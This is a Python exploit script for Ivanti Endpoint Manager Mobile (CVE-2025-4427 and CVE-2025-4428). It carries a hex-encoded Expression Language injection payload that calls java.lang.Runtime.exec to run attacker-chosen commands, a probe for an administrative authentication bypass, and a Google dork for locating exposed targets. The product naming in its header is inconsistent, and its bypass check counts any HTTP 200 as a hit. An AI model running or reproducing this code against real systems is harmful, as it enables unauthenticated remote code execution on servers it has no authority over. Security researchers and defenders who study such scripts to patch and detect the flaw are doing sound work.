#!/usr/bin/env python3
# Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass
# Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager"
# Date: 2025-01-21
# Exploit Author: [Your Name] (https://github.com/[your-username])
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://www.ivanti.com/products/endpoint-manager
# Version: < 2025.1
# Tested on: Ubuntu 22.04 LTS, Python 3.10
# CVE: CVE-2025-4427, CVE-2025-4428
# Description:
# Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities:
# 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE
# 2. CVE-2025-4428: Authentication bypass on administrative endpoints
# The vulnerabilities can be chained to achieve unauthenticated remote code execution.
# Requirements:
# - Python 3.x
# - requests >= 2.25.1
# - urllib3
# Usage:
# python3 CVE-2025-4427.py -t https://target-ivanti-epm.com
# python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"
import requests
import urllib3
import argparse
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class IvantiExploit:
def __init__(self, target):
self.target = target.rstrip('/') + '/'
self.session = requests.Session()
self.session.verify = False
def detect_cve_2025_4427(self):
"""Quick detection for CVE-2025-4427"""
# Simple math payload for detection
payload = '%24%7b%32%2b%32%7d' # ${2+2}
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
try:
resp = self.session.get(url, timeout=10)
if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text):
return True, "CVE-2025-4427 VULNERABLE - Expression Language Injection"
except:
pass
return False, "CVE-2025-4427 NOT VULNERABLE"
def exploit_rce(self, command='id'):
"""Execute command via CVE-2025-4427"""
# URL encode the command
cmd_hex = command.encode().hex()
cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))
# RCE payload
payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
try:
resp = self.session.get(url, timeout=15)
if resp.status_code == 400 and 'Process[pid' in resp.text:
return True, f"RCE SUCCESS: {resp.text[:200]}"
except:
pass
return False, "RCE FAILED"
def detect_cve_2025_4428(self):
"""Quick detection for CVE-2025-4428"""
admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']
for endpoint in admin_endpoints:
try:
url = urljoin(self.target, endpoint)
resp = self.session.get(url, timeout=10)
if resp.status_code == 200:
return True, f"CVE-2025-4428 VULNERABLE - Auth bypass on {endpoint}"
except:
continue
return False, "CVE-2025-4428 NOT VULNERABLE"
def run_all_tests(self):
"""Run all detection tests"""
print(f"[+] Testing target: {self.target}")
# Test CVE-2025-4427
vuln_4427, msg_4427 = self.detect_cve_2025_4427()
print(f"[{'!' if vuln_4427 else '-'}] {msg_4427}")
# Test CVE-2025-4428
vuln_4428, msg_4428 = self.detect_cve_2025_4428()
print(f"[{'!' if vuln_4428 else '-'}] {msg_4428}")
# If 4427 is vulnerable, try RCE
if vuln_4427:
print("[+] Attempting RCE...")
rce_success, rce_msg = self.exploit_rce('whoami')
print(f"[{'!' if rce_success else '-'}] {rce_msg}")
return vuln_4427 or vuln_4428
def main():
banner = """
--[[
.___ __ .__ _____________________ _____ _____
| |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \
| \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \
| |\ / / __ \| | \ | | | | \ | | / Y \/ Y \
|___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ /
\/ \/ \/ \/ \/
--]]
"""
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target.com)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
parser.add_argument('--exploit', action='store_true', help='Attempt exploitation')
args = parser.parse_args()
exploit = IvantiExploit(args.target)
if args.exploit:
print(f"[+] Exploiting with command: {args.command}")
success, result = exploit.exploit_rce(args.command)
print(f"[{'!' if success else '-'}] {result}")
else:
exploit.run_all_tests()
if __name__ == "__main__":
main()